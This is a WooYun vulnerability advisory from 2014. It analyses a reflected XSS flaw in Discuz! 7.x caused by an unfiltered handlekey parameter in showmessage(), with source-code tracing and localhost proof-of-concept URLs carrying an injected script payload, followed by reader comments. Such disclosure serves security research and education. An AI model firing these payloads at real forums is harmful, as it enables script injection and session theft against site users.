当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(16) 关注此漏洞

缺陷编号： WooYun-2014-84097

漏洞标题： Discuz!7.X系列一处问题可导致反射型XSS（大多文件均可触发）

相关厂商： Discuz!

漏洞作者： xfkxfk认证白帽子

提交时间： 2014-11-24 11:14

公开时间： 2014-12-31 11:16

漏洞类型： XSS跨站脚本攻击

危害等级： 低

自评Rank： 10

漏洞状态： 漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 help@wooyun.org

Tags标签： XSS php源码审核

2人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2014-11-24： 细节已通知厂商并且等待厂商处理中
2014-11-29： 厂商主动忽略漏洞，细节向第三方安全合作伙伴开放（绿盟科技、唐朝安全巡航、无声信息）
2015-01-23： 细节向核心白帽子及相关领域专家公开
2015-02-02： 细节向普通白帽子公开
2015-02-12： 细节向实习白帽子公开
2014-12-31： 细节向公众公开

简要描述：

Discuz! 7.X系列一处问题引发大面积XSS，基本上全部页面和文件都能触发

详细说明：

亲测Discuz! 7.2,7.1,7.0三个版本都受影响

都是因为同一原因，导致可在全部页面触发xss漏洞



这里拿Discuz! 7.2做分析

比如Discuz! 7.2安装包里面的第二个文件就是ajax.php

code 区域
define('CURSCRIPT', 'ajax');


define('NOROBOT', TRUE);





require_once './include/common.inc.php';


if($action == 'updatesecqaa') {





	$message = '';


	if($secqaa) {


		require_once DISCUZ_ROOT.'./forumdata/cache/cache_secqaa.php';


		$secqaa = max(1, random(1, 1));


		$message = $_DCACHE['secqaa'][$secqaa]['question'];


		if($seclevel) {


			$seccode = $secqaa * 1000000 + substr($seccode, -6);


			updatesession();


		} else {


			dsetcookie('secq', authcode($secqaa."\t".$timestamp."\t".$discuz_uid, 'ENCODE'), 3600);


		}


	}


	showmessage($message);



注意这里的最后一行的showmessage函数，我们跟进

include/global.func.php文件

code 区域
function showmessage($message, $url_forward = '', $extra = '', $forwardtype = 0) {


	extract($GLOBALS, EXTR_SKIP);


	global $hookscriptmessage, $extrahead, $discuz_uid, $discuz_action, $debuginfo, $seccode, $seccodestatus, $fid, $tid, $charset, $show_message, $inajax, $_DCACHE, $advlist;


	define('CACHE_FORBIDDEN', TRUE);


......


include language('messages');





	$vars = explode(':', $message);


	if(count($vars) == 2 && isset($scriptlang[$vars[0]][$vars[1]])) {


		eval("\$show_message = \"".str_replace('"', '\"', $scriptlang[$vars[0]][$vars[1]])."\";");


	} elseif(isset($language[$message])) {


		$pre = $inajax ? 'ajax_' : '';


		eval("\$show_message = \"".(isset($language[$pre.$message]) ? $language[$pre.$message] : $language[$message])."\";");


		unset($pre);


	}





	if(empty($infloat)) {


		$show_message .= $url_forward && empty($inajax) ? '<script>setTimeout("window.location.href =\''.$url_forward.'\';", '.$msgforward['refreshtime'].');</script>' : '';


	} elseif($handlekey) {


		$show_message = str_replace("'", "\'", $show_message);


		if($url_forward) {


			$show_message = "<script type=\"text/javascript\" reload=\"1\">\nif($('return_$handlekey')) $('return_$handlekey').className = 'onright';\nif(typeof submithandle_$handlekey =='function') {submithandle_$handlekey('$url_forward', '$show_message');} else {location.href='$url_forward'}\n</script>";


		} else {


			$show_message .= "<script type=\"text/javascript\" reload=\"1\">\nif(typeof messagehandle_$handlekey =='function') {messagehandle_$handlekey('$messagehandle', '$show_message');}\n</script>";


		}


	}


if($advlist = array_merge($globaladvs ? $globaladvs['type'] : array(), $redirectadvs ? $redirectadvs['type'] : array())) {


		$advitems = ($globaladvs ? $globaladvs['items'] : array()) + ($redirectadvs ? $redirectadvs['items'] : array());


		foreach($advlist AS $type => $redirectadvs) {


			$advlist[$type] = $advitems[$redirectadvs[array_rand($redirectadvs)]];


		}


	}





	if($extra == 'NOPERM') {


		include template('nopermission');


	} else {


		include template('showmessage');


	}


	dexit();


}



这里当$infloat和$handlekey不为空，都存在的话

将$show_message赋值，且$handlekey进入$show_message的内容中

最后include template('showmessage');

$show_message内容在showmessage.htm模板里面显示：

code 区域
<script type="text/javascript" reload="1">


	function ajaxerror() {


		hideMenu();


		showDialog('$show_message', 'notice', '', null, 0);


	}


	ajaxerror();


	</script>





所以通过上面的分析，变量$handlekey进入$show_message的内容中时

只是过滤了单引号，但是在$show_message装那个并没有用到单引号保护变量

所以这里变量$handlekey就等于没有通过过滤直接最后显示在页面中了

这样就导致了xss漏洞



为什么前面会说全部页面都会触发咧

因为这里的函数showmessage，是一个全局的消息传递函数，基本上在所有的页面都会用

因为这是一个消息传递函数，无所谓登陆与否了，只要满足$infloat和$handlekey不为空，就能出发XSS漏洞

所有一个小问题却导致了整个系统都存在漏洞，这就不是小漏洞了

漏洞证明：

code 区域
http://localhost/Discuz_7.2_FULL_SC_UTF8/admincp.php?infloat=yes&handlekey=123);alert(/xss/);//



1.png



code 区域
http://localhost/Discuz_7.2_FULL_SC_UTF8/ajax.php?infloat=yes&handlekey=123);alert(/xss/);//



2.png



code 区域
http://localhost/Discuz_7.2_FULL_SC_UTF8/announcement.php?infloat=yes&handlekey=123);alert(/xss/);//


http://localhost/Discuz_7.2_FULL_SC_UTF8/attachment.php?infloat=yes&handlekey=123);alert(/xss/);//


http://localhost/Discuz_7.2_FULL_SC_UTF8/member.php?infloat=yes&handlekey=123);alert(/xss/);//


等等......



其他的就不一一列举了

修复方案：

加个过滤即可

版权声明：转载请注明来源 xfkxfk@乌云

漏洞回应

厂商回应：

危害等级：无影响厂商忽略

忽略时间：2014-12-31 11:16

厂商回复：

最新状态：

暂无

漏洞评价：

对本漏洞信息进行评价，以更好的反馈信息的价值，包括信息客观性，内容是否完整以及是否具备学习价值

漏洞评价(少于3人评价):
登陆后才能进行评分
100%
0%
0%
0%
0%

评价

  1. 2014-12-31 12:52 | xiaogui ( 实习白帽子 | Rank:88 漏洞数:24 | 围观大牛来了~~~)
    2

    这么适合新手学习的文章竟然没有跟帖，果然这里大牛如云

    1# 回复此人
  2. 2014-12-31 13:28 | 鬼五 ( 普通白帽子 | Rank:214 漏洞数:83 )
    2

    注意这里的最后一行的showmessage函数，我们跟进 看到好多代码审计文章都会有跟进函数，是怎么跟进函数的呢？用软件还是？

    2# 回复此人

登录后才能发表评论，请先 登录 。